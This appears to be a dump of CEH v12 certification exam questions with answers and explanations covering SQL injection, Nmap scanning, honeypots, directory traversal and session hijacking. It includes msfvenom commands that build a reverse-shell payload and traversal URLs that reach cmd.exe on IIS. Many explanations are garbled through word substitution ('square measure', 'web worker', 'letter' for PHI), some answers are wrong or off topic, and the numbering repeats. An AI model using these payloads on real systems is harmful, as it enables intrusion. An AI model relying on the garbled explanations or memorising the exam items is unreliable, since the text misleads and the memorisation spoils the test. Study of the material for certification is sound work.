EC-Council

Exam Questions 312-50v12

Certified Ethical Hacker Exam (CEHv12)

NEW QUESTION 1
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLI types leverages a database server's ability to make DNS requests to pass data to an attacker?

A. Union-based SQLI
B. Out-of-band SQLI
C. In-band SQLI
D. Time-based blind SQLI

Answer: B

Explanation:
Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. … Out-of-band SQLi techniques would believe the database server's ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.
Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).
Out-of-band SQLi techniques would rely on the database server's ability to make DNS or HTTPrequests to deliver data to an attacker. Such is the case with Microsoft SQLServer's xp_dirtree command, which can be used to make DNS requests to a server an attackercontrols; as well as Oracle Database's UTL_HTTP package, which can be used to send HTTP requestsfrom SQL and PL/SQL to a server an attacker controls.

NEW QUESTION 2
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network. Which of the following host discovery techniques must he use to perform the given task?

A. UDP scan
B. TCP Maimon scan
C. arp ping scan
D. ACK flag probe scan

Answer: C

Explanation:
One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC 1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series of ARP requests.
This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host.
The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the session. Raw IP ping scan example for offline targets
This example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.
There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery. ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP. Example b ARP ping scan of offline target

In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN..
If you do not need to attempt an ARP scan at all, specify – send-ip as shown in Example a "Raw IP Ping Scan for Offline Targets".
If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address as described in the MAC Address Spoofing section.

NEW QUESTION 3
Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company.
After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins. What is the type of attack technique Ralph used on jane?

A. Dumpster diving
B. Eavesdropping
C. Shoulder surfing
D. impersonation

Answer: D

NEW QUESTION 4
joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud

deployment reference architecture, under which category does the telecom company fall in the above scenario?

A. Cloud booker
B. Cloud consumer
C. Cloud carrier
D. Cloud auditor

Answer: C

Explanation:
A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.
Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.
The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical transport of storage media like high- capacity hard drives.
Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

NEW QUESTION 5
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Answer: C

Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

NEW QUESTION 6
which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

A. intrusion detection system
B. Honeypot
C. BotnetD Firewall

Answer: B

Explanation:
A honeypot may be a trap that an IT pro lays for a malicious hacker, hoping that they will interact with it during a way that gives useful intelligence. It’s one among the oldest security measures in IT, but beware: luring hackers onto your network, even on an isolated system, are often a dangerous game. honeypot may be a good starting place: “A honeypot may be a computer or computing system intended to mimic likely targets of cyberattacks.” Often a honeypot are going to be deliberately configured with known vulnerabilities in situation to form a more tempting or obvious target for attackers. A honeypot won’t contain production data or participate in legitimate traffic on your network — that’s how you’ll tell anything happening within it’s a results of an attack. If someone’s stopping by, they’re up to no good.
That definition covers a various array of systems, from bare-bones virtual machines that only offer a couple of vulnerable systems to ornately constructed fake networks spanning multiple servers. and therefore the goals of these who build honeypots can vary widely also , starting from defense thorough to academic research. additionally , there’s now an entire marketing category of deception technology that, while not meeting the strict definition of a honeypot, is certainly within the same family. But we’ll get thereto during a moment. honeypots aim to permit close analysis of how hackers do their dirty work. The team controlling the honeypot can watch the techniques hackers use to infiltrate systems, escalate privileges, and otherwise run amok through target networks. These sorts of honeypots are found out by security companies, academics, and government agencies looking to look at the threat landscape. Their creators could also be curious about learning what kind of attacks are out there, getting details on how specific sorts of attacks work, or maybe trying to lure a specific hackers within the hopes of tracing the attack back to its source. These systems are often inbuilt fully isolated lab environments, which ensures that any breaches don’t end in non-honeypot machines falling prey to attacks.
Production honeypots, on the opposite hand, are usually deployed in proximity to some organization’s production infrastructure, though measures are taken to isolate it the maximum amount as possible. These honeypots often serve both as bait to distract hackers who could also be trying to interrupt into that organization’s network, keeping them faraway from valuable data or services; they will also function a canary within the coalpit , indicating that attacks are underway and are a minimum of partially succeeding.

NEW QUESTION 7
Consider the following Nmap output:

what command-line parameter could you use to determine the type and version number of the web server?

A. -sv
B. -Pn
C. -V
D. -ss

Answer: A

Explanation:
C:\Users\moi>nmap -h | findstr " -sV" -sV: Probe open ports to determine service/version info

NEW QUESTION 8
what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?

A. httpd.conf
B. administration.config
C. idq.dll
D. php.ini

Answer: D

Explanation:
The php.ini file may be a special file for PHP. it's where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default.
Unless you would like to vary one or more settings, there's no got to create or modify a php.ini file. If you'd wish to make any changes to settings, please do so through the MultiPHP INI Editor.

NEW QUESTION 9
infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

A. Reconnaissance
B. Maintaining access
C. Scanning
D. Gaining access

Answer: D

Explanation:
This phase having the hacker uses different techniques and tools to realize maximum data from the system. they're –
• Password cracking – Methods like Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values until a match is discovered.
• Password attacks – Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash, distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

NEW QUESTION 10
which type of virus can change its own code and then cipher itself multiple times as it replicates?

A. Stealth virus
B. Tunneling virus
C. Cavity virus
D. Encryption virus

Answer: A

Explanation:
A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.
Like other viruses, a stealth virus can take hold of the many parts of one's PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software.
Once moved and renamed a stealth virus will usually replace the detected 'infected' file with a clean file that doesn't trigger anti-virus detection. It's a never-ending game of cat and mouse.
The intelligent architecture of this sort of virus about guarantees it's impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them. https://www.techslang.com/definition/what-is-a-stealth-virus/

NEW QUESTION 10
You are a penetration tester working to test the user awareness of the employees of the client xyz.
You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

A. Reconnaissance
B. Command and control
C. Weaponization
D. Exploitation

Answer: C

Explanation:
Weaponization
The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote

access to the adversary. The following are the activities of the adversary: o Identifying appropriate malware payload based on the analysis o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability o Creating a phishing email campaign o Leveraging exploit kits and botnets https://en.wikipedia.org/wiki/Kill_chain The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.
* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can be exploited.
* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of different vulnerabilities.
* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for this purpose.
* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target's vulnerability/vulnerabilities.
* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.
* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.
* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data exfiltration, or even data destruction.

NEW QUESTION 13
Bob was recently hired by a medical company after it experienced a major cyber security breach.
Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search.
Bob's boss is very worried because of regulations that protect those dat a. Which of the following regulations is mostly violated?

A. HIPPA/PHl
B. Pll
C. PCIDSS
D. ISO 2002

Answer: A

Explanation:
PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that's used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.
It is not only past and current medical info that's considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info. Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver's license numbers, insurance details, and birth dates, once they square measure connected with health info.
The eighteen identifiers that create health info letter are: Names
Dates, except year phonephone numbers Geographic information FAX numbers
Social Security numbers Email addresses
case history numbers Account numbers
Health arrange beneficiary numbers Certificate/license numbers
Vehicle identifiers and serial numbers together with license plates Web URLs
Device identifiers and serial numbers net protocol addresses
Full face photos and comparable pictures Biometric identifiers (i.e. retinal scan, fingerprints) Any distinctive identifying variety or code
One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.
HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA
Security Rule.

NEW QUESTION 16
While testing a web application in development, you notice that the web server does not properly ignore the "dot dot slash" (../) character string and instead returns the file listing of a folder structure of the server. What kind of attack is possible in this scenario?

A. Cross-site scripting
B. Denial of service
C. SQL injection
D. Directory traversal

Answer: D

Explanation:
Appropriately controlling admittance to web content is significant for running a safe web worker.
Index crossing or Path Traversal is a HTTP assault which permits aggressors to get to limited catalogsand execute orders outside of the web worker's root registry. Web workers give two primary degrees of security instruments
Access Control Lists (ACLs) Root index
An Access Control List is utilized in the approval cycle. It is a rundown which the web worker's manager uses to show which clients or gatherings can get to, change or execute specific records on the worker, just as other access rights. The root registry is a particular index on the worker record framework in which the clients are kept.
Clients can't get to anything over this root.
For instance: the default root registry of IIS on Windows is C:\Inetpub\wwwroot and with this arrangement, a client doesn't approach C:\Windows yet approaches C:\Inetpub\wwwroot\news and some other indexes and documents under the root catalog (given that the client is confirmed by means of the ACLs).
The root index keeps clients from getting to any documents on the worker, for example, C:\WINDOWS/system32/win.ini on Windows stages and the/and so on/passwd record on Linux/UNIX stages. This weakness can exist either in the web worker programming itself or in the web application code.
To play out a registry crossing assault, all an assailant requires is an internet browser and some information on where to aimlessly discover any default documents and registries on the framework. What an assailant can do if your site is defenseless
With a framework defenseless against index crossing, an aggressor can utilize this weakness to venture out of the root catalog and access different pieces of the record framework. This may enable the assailant to see confined documents, which could give the aggressor more data needed to additional trade off the framework.

Contingent upon how the site access is set up, the aggressor will execute orders by mimicking himself as the client which is related with “the site”. Along these lines everything relies upon what the site client has been offered admittance to in the framework.
Illustration of a Directory Traversal assault by means of web application code In web applications with dynamic pages, input is generally gotten from programs through GET or POST solicitation techniques. Here is an illustration of a HTTP GET demand URL GET http://test.webarticles.com/show.asp?view=oldarchive.html HTTP/1.1 Host: test.webarticles.com With this URL, the browser requests the dynamic page show.asp from the server and with it also sends the parameter view with the value of oldarchive.html. When this request is executed on the web server, show.asp retrieves the file oldarchive.html from the server’s file system, renders it and then sends it back to the browser which displays it to the user. The attacker would assume that show.asp can retrieve files from the file system and sends the following custom URL.
GET http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini HTTP/1.1Host: test.webarticles.comThis will cause the dynamic page to retrieve the file system.ini from the file system and display it tothe user. The expression
../ instructs the system to go one directory up which is commonly used as anoperating system directive. The attacker has to guess how many directories he has to go up to findthe Windows folder on the system, but this is easily done by trial and error.
Example of a Directory Traversal attack via web server
Apart from vulnerabilities in the code, even the web server itself can be open to directory traversal attacks. The problem can either be incorporated into the web server software or inside some sample script files left available on the server. The vulnerability has been fixed in the latest versions of web server software, but there are web servers online which are still using older versions of IIS and Apache which might be open to directory traversal attacks. Even though you might be using a web server software version that has fixed this vulnerability, you might still have some sensitive default script directories exposed which are well known to hackers.
For example, a URL request which makes use of the scripts directory of IIS to traverse directories and execute a command can be GET http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ HTTP/1.1 Host: server.com The request would return to the user a list of all files in the C:\ directory by executing the cmd.exe command shell file and run the command dir c:\ in the shell. The %5c expression that is in the URL request is a web server escape code which is used to represent normal characters. In this case %5c represents the character \.
Newer versions of modern web server software check for these escape codes and do not let them through. Some older versions however, do not filter out these codes in the root directory enforcer and will let the attackers execute such commands.

NEW QUESTION 21
Ethical backer jane Doe is attempting to crack the password of the head of the it department of ABC company. She Is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting. What countermeasure is the company using to protect against rainbow tables?

A. Password key hashing
B. Password salting
C. Password hashing
D. Account lockout

Answer: B

Explanation:
Passwords are usually delineated as “hashed and salted”. salting is simply the addition of a unique, random string of characters renowned solely to the site to every parole before it’s hashed, typically this “salt” is placed in front of each password.
The salt value needs to be hold on by the site, which means typically sites use the same salt for each parole. This makes it less effective than if individual salts are used.
The use of unique salts means that common passwords shared by multiple users – like “123456” or “password” – aren’t revealed revealed when one such hashed password is known – because despite the passwords being the same the immediately and hashed values are not.
Large salts also protect against certain methods of attack on hashes, including rainbow tables or logs of hashed passwords previously broken. Both hashing and salting may be repeated more than once to increase the issue in breaking the security.

NEW QUESTION 22
Allen, a professional pen tester, was hired by xpertTech solutWns to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. B/ enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

A. <1B>
B. <00>
C. <03>
D. <20>

Answer: C

Explanation:
<03>
Windows Messenger administration
Courier administration is an organization based framework notice Windows administration by Microsoft that was remembered for some prior forms of Microsoft Windows.
This resigned innovation, despite the fact that it has a comparable name, isn’t connected in any capacity to the later, Internet-based Microsoft Messenger administration for texting or to Windows Messenger and Windows Live Messenger (earlier named MSN Messenger) customer programming.
The Messenger Service was initially intended for use by framework managers to tell Windows clients about their networks.[1] It has been utilized malevolently to introduce spring up commercials to clients over the Internet (by utilizing mass- informing frameworks which sent an ideal message to a predetermined scope of IP addresses). Despite the fact that Windows XP incorporates a firewall, it isn’t empowered naturally. Along these lines, numerous clients got such messages. Because of this maltreatment, the Messenger Service has been debilitated as a matter of course in Windows XP Service Pack 2.

NEW QUESTION 26
what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

A. Decoy scanning
B. Packet fragmentation scanning
C. Spoof source address scanning
D. Idle scanning

Answer: D

Explanation:
The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or receiving information). this might be associate idle pc, known as a “zombie”.
This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there’s no interaction between the offender pc and also the target: the offender interacts solely with the “zombie” pc.
This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the “zombie” pc and distinction in behavior are often discovered mistreatment totally different|completely different “zombies” with proof of various privileges granted by the target to different computers.
The overall intention behind the idle scan is to “check the port standing whereas remaining utterly invisible to the targeted host.” The first step in execution associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.
Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence: offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to focus on -> RST (IPID increment by 1) currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID increment by 1) So, during this method IPID increments by a pair of finally.
When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another. Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of some network. selecting a network close to your supply address, or close to the target, produces higher results. you’ll be able to attempt associate idle scan mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it’s best to raise permission before mistreatment someone’s machines for surprising functions like idle scanning.
Simple network devices typically create nice zombies as a result of {they square measure|they’re} normally each underused (idle) and designed with straightforward network stacks that are susceptible to informatics ID traffic detection. While distinguishing an acceptable zombie takes some initial work, you’ll be able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor’s man idle scanning.

NEW QUESTION 27
What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

A. The attacker queries a nameserver using the DNS resolver.
B. The attacker makes a request to the DNS resolver.
C. The attacker forges a reply from the DNS resolver.
D. The attacker uses TCP to poison the ONS resofver.

Answer: B

Explanation:
https://ru.wikipedia.org/wiki/DNS_spoofing
DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic.
Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.
The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.
Different Stages of Attack of DNS Cache Poisoning:
- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.
- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

NEW QUESTION 32
Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate dat a. He is using the NSTX tool for bypassing the firewalls. On which of the following ports should Robin run the NSTX tool?

A. Port 53
B. Port 23
C. Port 50
D. Port 80

Answer: A

Explanation:
DNS uses Ports 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. instead of the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low- latency, bandwidth and resource usage compared TCPequivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.
How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a besteffort protocol after all) within the first instance, most systems will retry variety of times and only after multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size – typically 512 bytes for DNS but can depend upon system settings.
Figure 1 below illustrates the essential process of how DNS operates: the client sends a question string (for example, mail.google[.]com during this case) with a particular type – typically A for a number address. I’ve skipped the part whereby intermediate DNS systems may need to establish where ‘.com’ exists, before checking out where ‘google[.]com’ are often found, and so on.

Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it’s really no surprise that telnet is usually seen on the highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or

OS upgrade. As is usually the case, this upgrade has not been performed on variety of devices. this might flow from to the very fact that a lot of systems administrators and users don't fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnets vulnerabilities is to completely discontinue its use. the well-liked method of mitigating all of telnets vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have several drawbacks to beat before it can completely replace telnet. it's typically only supported on newer equipment. It requires processor and memory resources to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info . This paper was written to assist clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web
Once a reputation is resolved to an IP caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS servers) for a period of your time .
Subsequent queries for an equivalent name from an equivalent client then don't leave the local system until said cache expires. Of course, once the IP address of the remote service is understood , applications can use that information to enable other TCP-based protocols, like HTTP, to try to to their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.
So, beat all, a couple of dozen extra UDP DNS queries from an organization's network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary; commands could even be received to the requesting application for processing with little difficulty.

NEW QUESTION 34
Bob, an attacker, has managed to access a target loT device. He employed an online tool to gather information related to the model of the loT device and the certifications granted to it. Which of the following tools did Bob employ to gather the above Information?

A. search.com
B. EarthExplorer
C. Google image search
D. FCC ID search

Answer: D

Explanation:
Footprinting techniques are used to collect basic information about the target IoT and OT platforms to exploit them. Information collected through footprinting techniques ncludes IP address, hostname, ISP, device location, banner of the target IoT device, FCC ID information, certification granted to the device, etc. pg. 5052 ECHv11 manual https://en.wikipedia.org/wiki/FCC_mark An FCC ID is a unique identifier assigned to a device registered with the United States Federal Communications Commission. For legal sale of wireless deices in the US, manufacturers must:
· Have the device evaluated by an independent lab to ensure it conforms to FCC standards · Provide documentation to the FCC of the lab results · Provide User Manuals, Documentation, and Photos relating to the device · Digitally or physically label the device with the unique identifier provided by the FCC (upon approved application) The FCC gets its authourity from Title 47 of the Code of Federal Regulations (47 CFR). FCC IDs are required for all wireless emitting devices sold in the USA. By searching an FCC ID, you can find details on the wireless operating frequency (including strength), photos of the device, user manuals for the device, and SAR reports on the wireless emissions

NEW QUESTION 36
Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently. Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture Is Abel currently working in?

A. Tier-1: Developer machines
B. Tier-4: Orchestrators
C. Tier-3: Registries
D. Tier-2: Testing and accreditation systems

Answer: D

Explanation:
The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls. formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.
Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.
For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary.
Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

NEW QUESTION 39
which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

A. Bluesmacking
B. Bluebugging
C. Bluejacking
D. Bluesnarfing

Answer: D

Explanation:
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs (personal digital assistant).

NEW QUESTION 42
if you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST. what do you know about the firewall you are scanning?

A. There is no firewall in place.
B. This event does not tell you encrypting about the firewall.
C. It is a stateful firewall
D. It Is a non-stateful firewall.

Answer: B

NEW QUESTION 47
Samuel, a professional hacker, monitored and Intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with <| packet having an Incremented ISN. Consequently. Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob. What is the type of attack performed by Samuel in the above scenario?

A. UDP hijacking
B. Blind hijacking
C. TCP/IP hacking
D. Forbidden attack

Answer: C

Explanation:
A TCP/IP hijack is an attack that spoofs a server into thinking it's talking with a sound client, once actually it's communication with an assaulter that has condemned (or hijacked) the tcp session.
Assume that the client has administrator-level privileges, which the attacker needs to steal that authority so as to form a brand new account with root-level access of the server to be used afterward. A tcp Hijacking is sort of a two-phased man-in-the-middle attack. The man-in-the-middle assaulter lurks within the circuit between a shopper and a server so as to work out what port and sequence numbers are being employed for the conversation.
First, the attacker knocks out the client with an attack, like Ping of Death, or ties it up with some reasonably ICMP storm. This renders the client unable to transmit any packets to the server. Then, with the client crashed, the attacker assumes the client's identity so as to talk with the server. By this suggests, the attacker gains administrator-level access to the server.
